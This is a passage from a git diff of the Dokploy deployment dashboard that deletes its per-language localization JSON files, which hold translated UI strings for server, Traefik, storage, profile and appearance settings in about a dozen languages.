"settings.server.webServer.storage.cleanMonitoring": "Monitoring bereinigen", - "settings.server.webServer.storage.cleanAll": "Alles bereinigen", - - "settings.profile.title": "Konto", - "settings.profile.description": "Ändere die Details deines Profiles hier.", - "settings.profile.email": "E-Mail", - "settings.profile.password": "Passwort", - "settings.profile.avatar": "Avatar", - - "settings.appearance.title": "Aussehen", - "settings.appearance.description": "Pass das Design deines Dashboards an.", - "settings.appearance.theme": "Theme", - "settings.appearance.themeDescription": "Wähl ein Theme für dein Dashboard aus", - "settings.appearance.themes.light": "Hell", - "settings.appearance.themes.dark": "Dunkel", - "settings.appearance.themes.system": "System", - "settings.appearance.language": "Sprache", - "settings.appearance.languageDescription": "Wähl eine Sprache für dein Dashboard aus" -} diff --git a/apps/dokploy/public/locales/en/common.json b/apps/dokploy/public/locales/en/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/en/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/en/settings.json b/apps/dokploy/public/locales/en/settings.json deleted file mode 100644 index 699a456e7..000000000 --- a/apps/dokploy/public/locales/en/settings.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "settings.common.save": "Save", - "settings.common.enterTerminal": "Terminal", - "settings.server.domain.title": "Server Domain", - "settings.server.domain.description": "Add a domain to your server application.", - "settings.server.domain.form.domain": "Domain", - "settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Email", - "settings.server.domain.form.certificate.label": "Certificate Provider", - "settings.server.domain.form.certificate.placeholder": "Select a certificate", - "settings.server.domain.form.certificateOptions.none": "None", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt", - - "settings.server.webServer.title": "Web Server", - "settings.server.webServer.description": "Reload or clean the web server.", - "settings.server.webServer.actions": "Actions", - "settings.server.webServer.reload": "Reload", - "settings.server.webServer.watchLogs": "View Logs", - "settings.server.webServer.updateServerIp": "Update Server IP", - "settings.server.webServer.server.label": "Server", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Modify Environment", - "settings.server.webServer.traefik.managePorts": "Additional Port Mappings", - "settings.server.webServer.traefik.managePortsDescription": "Add or remove additional ports for Traefik", - "settings.server.webServer.traefik.targetPort": "Target Port", - "settings.server.webServer.traefik.publishedPort": "Published Port", - "settings.server.webServer.traefik.addPort": "Add Port", - "settings.server.webServer.traefik.portsUpdated": "Ports updated successfully", - "settings.server.webServer.traefik.portsUpdateError": "Failed to update ports", - "settings.server.webServer.traefik.publishMode": "Publish Mode", - "settings.server.webServer.storage.label": "Space", - "settings.server.webServer.storage.cleanUnusedImages": "Clean unused images", - "settings.server.webServer.storage.cleanUnusedVolumes": "Clean unused volumes", - "settings.server.webServer.storage.cleanStoppedContainers": "Clean stopped containers", - "settings.server.webServer.storage.cleanDockerBuilder": "Clean Docker Builder & System", - "settings.server.webServer.storage.cleanMonitoring": "Clean Monitoring", - "settings.server.webServer.storage.cleanAll": "Clean all", - - "settings.profile.title": "Account", - "settings.profile.description": "Change the details of your profile here.", - "settings.profile.email": "Email", - "settings.profile.password": "Password", - "settings.profile.avatar": "Avatar", - - "settings.appearance.title": "Appearance", - "settings.appearance.description": "Customize the theme of your dashboard.", - "settings.appearance.theme": "Theme", - "settings.appearance.themeDescription": "Select a theme for your dashboard", - "settings.appearance.themes.light": "Light", - "settings.appearance.themes.dark": "Dark", - "settings.appearance.themes.system": "System", - "settings.appearance.language": "Language", - "settings.appearance.languageDescription": "Select a language for your dashboard", - - "settings.terminal.connectionSettings": "Connection settings", - "settings.terminal.ipAddress": "IP Address", - "settings.terminal.port": "Port", - "settings.terminal.username": "Username" -} diff --git a/apps/dokploy/public/locales/es/common.json b/apps/dokploy/public/locales/es/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/es/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/es/settings.json b/apps/dokploy/public/locales/es/settings.json deleted file mode 100644 index 90a41cd05..000000000 --- a/apps/dokploy/public/locales/es/settings.json +++ /dev/null @@ -1,52 +0,0 @@ -{ - "settings.common.save": "Guardar", - "settings.server.domain.title": "Dominio del Servidor", - "settings.server.domain.description": "Añade un dominio a tu aplicación de servidor.", - "settings.server.domain.form.domain": "Dominio", - "settings.server.domain.form.letsEncryptEmail": "Correo de Let's Encrypt", - "settings.server.domain.form.certificate.label": "Proveedor de Certificado", - "settings.server.domain.form.certificate.placeholder": "Selecciona un certificado", - "settings.server.domain.form.certificateOptions.none": "Ninguno", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt", - - "settings.server.webServer.title": "Servidor Web", - "settings.server.webServer.description": "Recarga o limpia el servidor web.", - "settings.server.webServer.actions": "Acciones", - "settings.server.webServer.reload": "Recargar", - "settings.server.webServer.watchLogs": "Ver registros", - "settings.server.webServer.updateServerIp": "Actualizar IP del Servidor", - "settings.server.webServer.server.label": "Servidor", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Modificar Entorno", - "settings.server.webServer.traefik.managePorts": "Asignación Adicional de Puertos", - "settings.server.webServer.traefik.managePortsDescription": "Añadir o eliminar puertos adicionales para Traefik", - "settings.server.webServer.traefik.targetPort": "Puerto de Destino", - "settings.server.webServer.traefik.publishedPort": "Puerto Publicado", - "settings.server.webServer.traefik.addPort": "Añadir Puerto", - "settings.server.webServer.traefik.portsUpdated": "Puertos actualizados correctamente", - "settings.server.webServer.traefik.portsUpdateError": "Error al actualizar los puertos", - "settings.server.webServer.traefik.publishMode": "Modo de Publicación", - "settings.server.webServer.storage.label": "Espacio", - "settings.server.webServer.storage.cleanUnusedImages": "Limpiar imágenes no utilizadas", - "settings.server.webServer.storage.cleanUnusedVolumes": "Limpiar volúmenes no utilizados", - "settings.server.webServer.storage.cleanStoppedContainers": "Limpiar contenedores detenidos", - "settings.server.webServer.storage.cleanDockerBuilder": "Limpiar Constructor de Docker y Sistema", - "settings.server.webServer.storage.cleanMonitoring": "Limpiar Monitoreo", - "settings.server.webServer.storage.cleanAll": "Limpiar todo", - - "settings.profile.title": "Cuenta", - "settings.profile.description": "Cambia los detalles de tu perfil aquí.", - "settings.profile.email": "Correo electrónico", - "settings.profile.password": "Contraseña", - "settings.profile.avatar": "Avatar", - - "settings.appearance.title": "Apariencia", - "settings.appearance.description": "Personaliza el tema de tu panel.", - "settings.appearance.theme": "Tema", - "settings.appearance.themeDescription": "Selecciona un tema para tu panel", - "settings.appearance.themes.light": "Claro", - "settings.appearance.themes.dark": "Oscuro", - "settings.appearance.themes.system": "Sistema", - "settings.appearance.language": "Idioma", - "settings.appearance.languageDescription": "Selecciona un idioma para tu panel" -} diff --git a/apps/dokploy/public/locales/fa/common.json b/apps/dokploy/public/locales/fa/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/fa/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/fa/settings.json b/apps/dokploy/public/locales/fa/settings.json deleted file mode 100644 index f28aaa27c..000000000 --- a/apps/dokploy/public/locales/fa/settings.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "settings.common.save": "ذخیره", - "settings.server.domain.title": "دامنه سرور", - "settings.server.domain.description": "یک دامنه به برنامه سرور خود اضافه کنید.", - "settings.server.domain.form.domain": "دامنه", - "settings.server.domain.form.letsEncryptEmail": "ایمیل Let's Encrypt", - "settings.server.domain.form.certificate.label": "گواهینامه", - "settings.server.domain.form.certificate.placeholder": "یک گواهینامه انتخاب کنید", - "settings.server.domain.form.certificateOptions.none": "هیچکدام", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (پیش‌فرض)", - - "settings.server.webServer.title": "وب سرور", - "settings.server.webServer.description": "وب سرور را بازنشانی یا پاک کنید.", - "settings.server.webServer.actions": "اقدامات", - "settings.server.webServer.reload": "بارگذاری مجدد", - "settings.server.webServer.watchLogs": "مشاهده گزارش‌ها", - "settings.server.webServer.updateServerIp": "به‌روزرسانی آی‌پی سرور", - "settings.server.webServer.server.label": "سرور", - "settings.server.webServer.traefik.label": "ترافیک", - "settings.server.webServer.traefik.modifyEnv": "ویرایش محیط", - "settings.server.webServer.storage.label": "فضا", - "settings.server.webServer.storage.cleanUnusedImages": "پاکسازی Image های بدون استفاده", - "settings.server.webServer.storage.cleanUnusedVolumes": "پاک‌سازی ولوم‌های بدون استفاده", - "settings.server.webServer.storage.cleanStoppedContainers": "پاک‌سازی کانتینرهای متوقف‌شده", - "settings.server.webServer.storage.cleanDockerBuilder": "پاک‌سازی بیلدر و سیستم داکر", - "settings.server.webServer.storage.cleanMonitoring": "پاک‌سازی پایش", - "settings.server.webServer.storage.cleanAll": "پاک‌سازی همه", - - "settings.profile.title": "حساب کاربری", - "settings.profile.description": "جزئیات پروفایل خود را در اینجا تغییر دهید.", - "settings.profile.email": "ایمیل", - "settings.profile.password": "رمز عبور", - "settings.profile.avatar": "تصویر پروفایل", - - "settings.appearance.title": "ظاهر", - "settings.appearance.description": "تم داشبورد خود را سفارشی کنید.", - "settings.appearance.theme": "تم", - "settings.appearance.themeDescription": "یک تم برای داشبورد خود انتخاب کنید", - "settings.appearance.themes.light": "روشن", - "settings.appearance.themes.dark": "تاریک", - "settings.appearance.themes.system": "سیستم", - "settings.appearance.language": "زبان", - "settings.appearance.languageDescription": "یک زبان برای داشبورد خود انتخاب کنید" -} diff --git a/apps/dokploy/public/locales/fr/common.json b/apps/dokploy/public/locales/fr/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/fr/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/fr/settings.json b/apps/dokploy/public/locales/fr/settings.json deleted file mode 100644 index 8901cf1fc..000000000 --- a/apps/dokploy/public/locales/fr/settings.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "settings.common.save": "Sauvegarder", - "settings.server.domain.title": "Nom de domaine du serveur", - "settings.server.domain.description": "Ajouter un nom de domaine au serveur de votre application.", - "settings.server.domain.form.domain": "Domaine", - "settings.server.domain.form.letsEncryptEmail": "Adresse email Let's Encrypt", - "settings.server.domain.form.certificate.label": "Certificat", - "settings.server.domain.form.certificate.placeholder": "Choisir un certificat", - "settings.server.domain.form.certificateOptions.none": "Aucun", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Par défaut)", - - "settings.server.webServer.title": "Serveur web", - "settings.server.webServer.description": "Recharger ou nettoyer le serveur web.", - "settings.server.webServer.actions": "Actions", - "settings.server.webServer.reload": "Recharger", - "settings.server.webServer.watchLogs": "Consulter les logs", - "settings.server.webServer.updateServerIp": "Mettre à jour l'IP du serveur", - "settings.server.webServer.server.label": "Serveur", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Modifier les variables d'environnement", - "settings.server.webServer.storage.label": "Stockage", - "settings.server.webServer.storage.cleanUnusedImages": "Supprimer les images inutilisées", - "settings.server.webServer.storage.cleanUnusedVolumes": "Supprimer les volumes inutilisés", - "settings.server.webServer.storage.cleanStoppedContainers": "Supprimer les conteneurs arrêtés", - "settings.server.webServer.storage.cleanDockerBuilder": "Nettoyer le Docker Builder & System", - "settings.server.webServer.storage.cleanMonitoring": "Nettoyer le monitoring", - "settings.server.webServer.storage.cleanAll": "Tout nettoyer", - - "settings.profile.title": "Compte", - "settings.profile.description": "Modifier les informations de votre compte ici.", - "settings.profile.email": "Adresse Email", - "settings.profile.password": "Mot de passe", - "settings.profile.avatar": "Photo de profil", - - "settings.appearance.title": "Apparence", - "settings.appearance.description": "Customiser le thème de votre dashboard.", - "settings.appearance.theme": "Thème", - "settings.appearance.themeDescription": "Choisir un thème pour votre dashboard", - "settings.appearance.themes.light": "Clair", - "settings.appearance.themes.dark": "Sombre", - "settings.appearance.themes.system": "Système", - "settings.appearance.language": "Langue", - "settings.appearance.languageDescription": "Sélectionner une langue pour votre dashboard" -} diff --git a/apps/dokploy/public/locales/id/common.json b/apps/dokploy/public/locales/id/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/id/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/id/settings.json b/apps/dokploy/public/locales/id/settings.json deleted file mode 100644 index 489ddc015..000000000 --- a/apps/dokploy/public/locales/id/settings.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "settings.common.save": "Simpan", - "settings.common.enterTerminal": "Buka Terminal", - "settings.server.domain.title": "Domain Server", - "settings.server.domain.description": "Tambahkan domain ke aplikasi server anda.", - "settings.server.domain.form.domain": "Domain", - "settings.server.domain.form.letsEncryptEmail": "Email Let's Encrypt", - "settings.server.domain.form.certificate.label": "Penyedia Sertifikat", - "settings.server.domain.form.certificate.placeholder": "Pilih sertifikat", - "settings.server.domain.form.certificateOptions.none": "Tidak ada", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt", - - "settings.server.webServer.title": "Server Web", - "settings.server.webServer.description": "Muat ulang atau bersihkan server web.", - "settings.server.webServer.actions": "Opsi", - "settings.server.webServer.reload": "Muat ulang", - "settings.server.webServer.watchLogs": "Lihat log", - "settings.server.webServer.updateServerIp": "Perbarui IP Server", - "settings.server.webServer.server.label": "Server", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Ubah Environment", - "settings.server.webServer.traefik.managePorts": "Pengaturan Port Tambahan", - "settings.server.webServer.traefik.managePortsDescription": "Tambahkan atau hapus port tambahan untuk Traefik", - "settings.server.webServer.traefik.targetPort": "Port Tujuan", - "settings.server.webServer.traefik.publishedPort": "Port saai ini", - "settings.server.webServer.traefik.addPort": "Tambah Port", - "settings.server.webServer.traefik.portsUpdated": "Port berhasil diperbarui", - "settings.server.webServer.traefik.portsUpdateError": "Gagal memperbarui Port", - "settings.server.webServer.traefik.publishMode": "Pilihan mode Port", - "settings.server.webServer.storage.label": "Penyimpanan", - "settings.server.webServer.storage.cleanUnusedImages": "Hapus Image tidak terpakai", - "settings.server.webServer.storage.cleanUnusedVolumes": "Hapus Volume tidak terpakai", - "settings.server.webServer.storage.cleanStoppedContainers": "Hapus Container tidak aktif", - "settings.server.webServer.storage.cleanDockerBuilder": "Bersihkan Docker Builder & System", - "settings.server.webServer.storage.cleanMonitoring": "Bersihkan Monitoring", - "settings.server.webServer.storage.cleanAll": "Bersihkan", - - "settings.profile.title": "Akun", - "settings.profile.description": "Ubah detail profil Anda di sini.", - "settings.profile.email": "Email", - "settings.profile.password": "Kata Sandi", - "settings.profile.avatar": "Avatar", - - "settings.appearance.title": "Tampilan", - "settings.appearance.description": "Sesuaikan tema dasbor Anda.", - "settings.appearance.theme": "Tema", - "settings.appearance.themeDescription": "Pilih tema untuk dasbor Anda", - "settings.appearance.themes.light": "Terang", - "settings.appearance.themes.dark": "Gelap", - "settings.appearance.themes.system": "Sistem", - "settings.appearance.language": "Bahasa", - "settings.appearance.languageDescription": "Pilih bahasa untuk dasbor Anda", - - "settings.terminal.connectionSettings": "Pengaturan koneksi", - "settings.terminal.ipAddress": "Alamat IP", - "settings.terminal.port": "Port", - "settings.terminal.username": "Username" -} diff --git a/apps/dokploy/public/locales/it/common.json b/apps/dokploy/public/locales/it/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/it/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/it/settings.json b/apps/dokploy/public/locales/it/settings.json deleted file mode 100644 index 6280e44eb..000000000 --- a/apps/dokploy/public/locales/it/settings.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "settings.common.save": "Salva", - "settings.server.domain.title": "Dominio del server", - "settings.server.domain.description": "Aggiungi un dominio alla tua applicazione server.", - "settings.server.domain.form.domain": "Dominio", - "settings.server.domain.form.letsEncryptEmail": "Email di Let's Encrypt", - "settings.server.domain.form.certificate.label": "Certificato", - "settings.server.domain.form.certificate.placeholder": "Seleziona un certificato", - "settings.server.domain.form.certificateOptions.none": "Nessuno", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Predefinito)", - - "settings.server.webServer.title": "Server Web", - "settings.server.webServer.description": "Ricarica o pulisci il server web.", - "settings.server.webServer.actions": "Azioni", - "settings.server.webServer.reload": "Ricarica", - "settings.server.webServer.watchLogs": "Guarda i log", - "settings.server.webServer.updateServerIp": "Aggiorna IP del server", - "settings.server.webServer.server.label": "Server", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Modifica Env", - "settings.server.webServer.storage.label": "Spazio", - "settings.server.webServer.storage.cleanUnusedImages": "Pulisci immagini inutilizzate", - "settings.server.webServer.storage.cleanUnusedVolumes": "Pulisci volumi inutilizzati", - "settings.server.webServer.storage.cleanStoppedContainers": "Pulisci container fermati", - "settings.server.webServer.storage.cleanDockerBuilder": "Pulisci Docker Builder e sistema", - "settings.server.webServer.storage.cleanMonitoring": "Pulisci monitoraggio", - "settings.server.webServer.storage.cleanAll": "Pulisci tutto", - - "settings.profile.title": "Account", - "settings.profile.description": "Modifica i dettagli del tuo profilo qui.", - "settings.profile.email": "Email", - "settings.profile.password": "Password", - "settings.profile.avatar": "Avatar", - - "settings.appearance.title": "Aspetto", - "settings.appearance.description": "Personalizza il tema della tua dashboard.", - "settings.appearance.theme": "Tema", - "settings.appearance.themeDescription": "Seleziona un tema per la tua dashboard", - "settings.appearance.themes.light": "Chiaro", - "settings.appearance.themes.dark": "Scuro", - "settings.appearance.themes.system": "Sistema", - "settings.appearance.language": "Lingua", - "settings.appearance.languageDescription": "Seleziona una lingua per la tua dashboard" -} diff --git a/apps/dokploy/public/locales/ja/common.json b/apps/dokploy/public/locales/ja/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/ja/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/ja/settings.json b/apps/dokploy/public/locales/ja/settings.json deleted file mode 100644 index 757586b73..000000000 --- a/apps/dokploy/public/locales/ja/settings.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "settings.common.save": "保存", - "settings.server.domain.title": "サーバードメイン", - "settings.server.domain.description": "サーバーアプリケーションにドメインを追加", - "settings.server.domain.form.domain": "ドメイン", - "settings.server.domain.form.letsEncryptEmail": "Let's Encrypt メールアドレス", - "settings.server.domain.form.certificate.label": "証明書", - "settings.server.domain.form.certificate.placeholder": "証明書を選択", - "settings.server.domain.form.certificateOptions.none": "なし", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (デフォルト)", - - "settings.server.webServer.title": "ウェブサーバー", - "settings.server.webServer.description": "ウェブサーバーをリロードまたはクリーンアップします", - "settings.server.webServer.actions": "アクション", - "settings.server.webServer.reload": "リロード", - "settings.server.webServer.watchLogs": "ログを監視", - "settings.server.webServer.updateServerIp": "サーバーIPを更新", - "settings.server.webServer.server.label": "サーバー", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "環境設定を変更", - "settings.server.webServer.storage.label": "ストレージ", - "settings.server.webServer.storage.cleanUnusedImages": "未使用のイメージを削除", - "settings.server.webServer.storage.cleanUnusedVolumes": "未使用のボリュームを削除", - "settings.server.webServer.storage.cleanStoppedContainers": "停止中のコンテナを削除", - "settings.server.webServer.storage.cleanDockerBuilder": "Docker ビルダー&システムをクリーンアップ", - "settings.server.webServer.storage.cleanMonitoring": "モニタリングをクリーンアップ", - "settings.server.webServer.storage.cleanAll": "すべてをクリーンアップ", - - "settings.profile.title": "アカウント", - "settings.profile.description": "ここでプロフィールの詳細を変更できます", - "settings.profile.email": "メールアドレス", - "settings.profile.password": "パスワード", - "settings.profile.avatar": "アバター", - - "settings.appearance.title": "外観", - "settings.appearance.description": "ダッシュボードのテーマをカスタマイズ", - "settings.appearance.theme": "テーマ", - "settings.appearance.themeDescription": "ダッシュボードのテーマを選択してください", - "settings.appearance.themes.light": "ライト", - "settings.appearance.themes.dark": "ダーク", - "settings.appearance.themes.system": "システム", - "settings.appearance.language": "言語", - "settings.appearance.languageDescription": "ダッシュボードの言語を選択してください" -} diff --git a/apps/dokploy/public/locales/ko/common.json b/apps/dokploy/public/locales/ko/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/ko/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/ko/settings.json b/apps/dokploy/public/locales/ko/settings.json deleted file mode 100644 index db877ee6a..000000000 --- a/apps/dokploy/public/locales/ko/settings.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "settings.common.save": "저장", - "settings.server.domain.title": "서버 도메인", - "settings.server.domain.description": "서버 애플리케이션에 도메인을 추가합니다.", - "settings.server.domain.form.domain": "도메인", - "settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 이메일", - "settings.server.domain.form.certificate.label": "인증서", - "settings.server.domain.form.certificate.placeholder": "인증서 선택", - "settings.server.domain.form.certificateOptions.none": "없음", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (기본)", - - "settings.server.webServer.title": "웹 서버", - "settings.server.webServer.description": "웹 서버를 재시작하거나 정리합니다.", - "settings.server.webServer.actions": "작업", - "settings.server.webServer.reload": "재시작", - "settings.server.webServer.watchLogs": "로그 보기", - "settings.server.webServer.updateServerIp": "서버 IP 갱신", - "settings.server.webServer.server.label": "서버", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "환경 변수 수정", - "settings.server.webServer.storage.label": "저장 공간", - "settings.server.webServer.storage.cleanUnusedImages": "사용하지 않는 이미지 정리", - "settings.server.webServer.storage.cleanUnusedVolumes": "사용하지 않는 볼륨 정리", - "settings.server.webServer.storage.cleanStoppedContainers": "정지된 컨테이너 정리", - "settings.server.webServer.storage.cleanDockerBuilder": "도커 빌더 & 시스템 정리", - "settings.server.webServer.storage.cleanMonitoring": "모니터링 데이터 정리", - "settings.server.webServer.storage.cleanAll": "전체 정리", - - "settings.profile.title": "계정", - "settings.profile.description": "여기에서 프로필 세부 정보를 변경하세요.", - "settings.profile.email": "이메일", - "settings.profile.password": "비밀번호", - "settings.profile.avatar": "아바타", - - "settings.appearance.title": "외관", - "settings.appearance.description": "대시보드의 테마를 사용자 설정합니다.", - "settings.appearance.theme": "테마", - "settings.appearance.themeDescription": "대시보드 테마 선택", - "settings.appearance.themes.light": "라이트", - "settings.appearance.themes.dark": "다크", - "settings.appearance.themes.system": "시스템", - "settings.appearance.language": "언어", - "settings.appearance.languageDescription": "대시보드에서 사용할 언어 선택" -} diff --git a/apps/dokploy/public/locales/kz/common.json b/apps/dokploy/public/locales/kz/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/kz/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/kz/settings.json b/apps/dokploy/public/locales/kz/settings.json deleted file mode 100644 index bf8f41372..000000000 --- a/apps/dokploy/public/locales/kz/settings.json +++ /dev/null @@ -1,41 +0,0 @@ -{ - "settings.common.save": "Сақтау", - "settings.server.domain.title": "Сервер домені", - "settings.server.domain.description": "Dokploy сервер қолданбасына домен енгізіңіз.", - "settings.server.domain.form.domain": "Домен", - "settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Эл. поштасы", - "settings.server.domain.form.certificate.label": "Сертификат", - "settings.server.domain.form.certificate.placeholder": "Сертификатты таңдаңыз", - "settings.server.domain.form.certificateOptions.none": "Жоқ", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Стандартты)", - "settings.server.webServer.title": "Веб-Сервер", - "settings.server.webServer.description": "Веб-серверді қайта жүктеу немесе тазалау.", - "settings.server.webServer.actions": "Әрекеттер", - "settings.server.webServer.reload": "Қайта жүктеу", - "settings.server.webServer.watchLogs": "Журналдарды қарау", - "settings.server.webServer.updateServerIp": "Сервердің IP жаңарту", - "settings.server.webServer.server.label": "Сервер", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Env Өзгерту", - "settings.server.webServer.storage.label": "Диск кеңістігі", - "settings.server.webServer.storage.cleanUnusedImages": "Пайдаланылмаған образды тазалау", - "settings.server.webServer.storage.cleanUnusedVolumes": "Пайдаланылмаған томды тазалау", - "settings.server.webServer.storage.cleanStoppedContainers": "Тоқтатылған контейнерлерді тазалау", - "settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder & Системаны тазалау", - "settings.server.webServer.storage.cleanMonitoring": "Мониторингті тазалау", - "settings.server.webServer.storage.cleanAll": "Барлығын тазалау", - "settings.profile.title": "Аккаунт", - "settings.profile.description": "Профиль мәліметтерін осы жерден өзгертіңіз.", - "settings.profile.email": "Эл. пошта", - "settings.profile.password": "Құпия сөз", - "settings.profile.avatar": "Аватар", - "settings.appearance.title": "Сыртқы түрі", - "settings.appearance.description": "Dokploy сыртқы келбетін өзгерту.", - "settings.appearance.theme": "Келбеті", - "settings.appearance.themeDescription": "Жүйе тақтасының келбетің таңдаңыз", - "settings.appearance.themes.light": "Жарық", - "settings.appearance.themes.dark": "Қараңғы", - "settings.appearance.themes.system": "Жүйелік", - "settings.appearance.language": "Тіл", - "settings.appearance.languageDescription": "Жүйе тақтасының тілің таңдаңыз" -} diff --git a/apps/dokploy/public/locales/ml/common.json b/apps/dokploy/public/locales/ml/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/ml/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/ml/settings.json b/apps/dokploy/public/locales/ml/settings.json deleted file mode 100644 index cb62b6ec3..000000000 --- a/apps/dokploy/public/locales/ml/settings.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "settings.common.save": "സേവ് ചെയ്യുക", - "settings.common.enterTerminal": "ടർമിനലിൽ പ്രവേശിക്കുക", - "settings.server.domain.title": "സർവർ ഡോമെയ്ൻ", - "settings.server.domain.description": "നിങ്ങളുടെ സർവർ അപ്ലിക്കേഷനിൽ ഒരു ഡോമെയ്ൻ ചേർക്കുക.", - "settings.server.domain.form.domain": "ഡോമെയ്ൻ", - "settings.server.domain.form.letsEncryptEmail": "ലെറ്റ്സ് എൻക്രിപ്റ്റ് ഇമെയിൽ", - "settings.server.domain.form.certificate.label": "സർട്ടിഫിക്കറ്റ് പ്രൊവൈഡർ", - "settings.server.domain.form.certificate.placeholder": "ഒരു സർട്ടിഫിക്കറ്റ് തിരഞ്ഞെടുക്കുക", - "settings.server.domain.form.certificateOptions.none": "ഒന്നുമില്ല", - "settings.server.domain.form.certificateOptions.letsencrypt": "ലെറ്റ്സ് എൻക്രിപ്റ്റ്", - - "settings.server.webServer.title": "വെബ് സർവർ", - "settings.server.webServer.description": "വെബ് സർവർ റീലോഡ് ചെയ്യുക അല്ലെങ്കിൽ ശുചീകരിക്കുക.", - "settings.server.webServer.actions": "നടപടികൾ", - "settings.server.webServer.reload": "റീലോഡ് ചെയ്യുക", - "settings.server.webServer.watchLogs": "ലോഗുകൾ കാണുക", - "settings.server.webServer.updateServerIp": "സർവർ IP അപ്ഡേറ്റ് ചെയ്യുക", - "settings.server.webServer.server.label": "സർവർ", - "settings.server.webServer.traefik.label": "ട്രാഫിക്", - "settings.server.webServer.traefik.modifyEnv": "ചുറ്റുപാടുകൾ മാറ്റുക", - "settings.server.webServer.traefik.managePorts": "അധിക പോർട്ട് മാപ്പിംഗ്", - "settings.server.webServer.traefik.managePortsDescription": "ട്രാഫിക്കിനായി അധിക പോർട്ടുകൾ ചേർക്കുക അല്ലെങ്കിൽ നീക്കം ചെയ്യുക", - "settings.server.webServer.traefik.targetPort": "ടാർഗറ്റ് പോർട്ട്", - "settings.server.webServer.traefik.publishedPort": "പ്രസിദ്ധീകരിച്ച പോർട്ട്", - "settings.server.webServer.traefik.addPort": "പോർട്ട് ചേർക്കുക", - "settings.server.webServer.traefik.portsUpdated": "പോർട്ടുകൾ വിജയകരമായി അപ്ഡേറ്റ് ചെയ്തു", - "settings.server.webServer.traefik.portsUpdateError": "പോർട്ടുകൾ അപ്ഡേറ്റ് ചെയ്യാൻ പരാജയപ്പെട്ടു", - "settings.server.webServer.traefik.publishMode": "പ്രസിദ്ധീകരണ മോഡ്", - "settings.server.webServer.storage.label": "ഇടം", - "settings.server.webServer.storage.cleanUnusedImages": "ഉപയോഗിക്കാത്ത ഇമേജുകൾ ശുചീകരിക്കുക", - "settings.server.webServer.storage.cleanUnusedVolumes": "ഉപയോഗിക്കാത്ത വോള്യങ്ങൾ ശുചീകരിക്കുക", - "settings.server.webServer.storage.cleanStoppedContainers": "നിർത്തിയ കണ്ടെയ്‌നറുകൾ ശുചീകരിക്കുക", - "settings.server.webServer.storage.cleanDockerBuilder": "ഡോക്കർ ബിൽഡറും സിസ്റ്റവും ശുചീകരിക്കുക", - "settings.server.webServer.storage.cleanMonitoring": "മോണിറ്ററിംഗ് ശുചീകരിക്കുക", - "settings.server.webServer.storage.cleanAll": "എല്ലാം ശുചീകരിക്കുക", - - "settings.profile.title": "അക്കൗണ്ട്", - "settings.profile.description": "നിങ്ങളുടെ പ്രൊഫൈൽ വിശദാംശങ്ങൾ ഇവിടെ മാറ്റുക.", - "settings.profile.email": "ഇമെയിൽ", - "settings.profile.password": "പാസ്വേഡ്", - "settings.profile.avatar": "അവതാർ", - - "settings.appearance.title": "ദൃശ്യമാനം", - "settings.appearance.description": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന്റെ തീം ഇഷ്ടാനുസൃതമാക്കുക.", - "settings.appearance.theme": 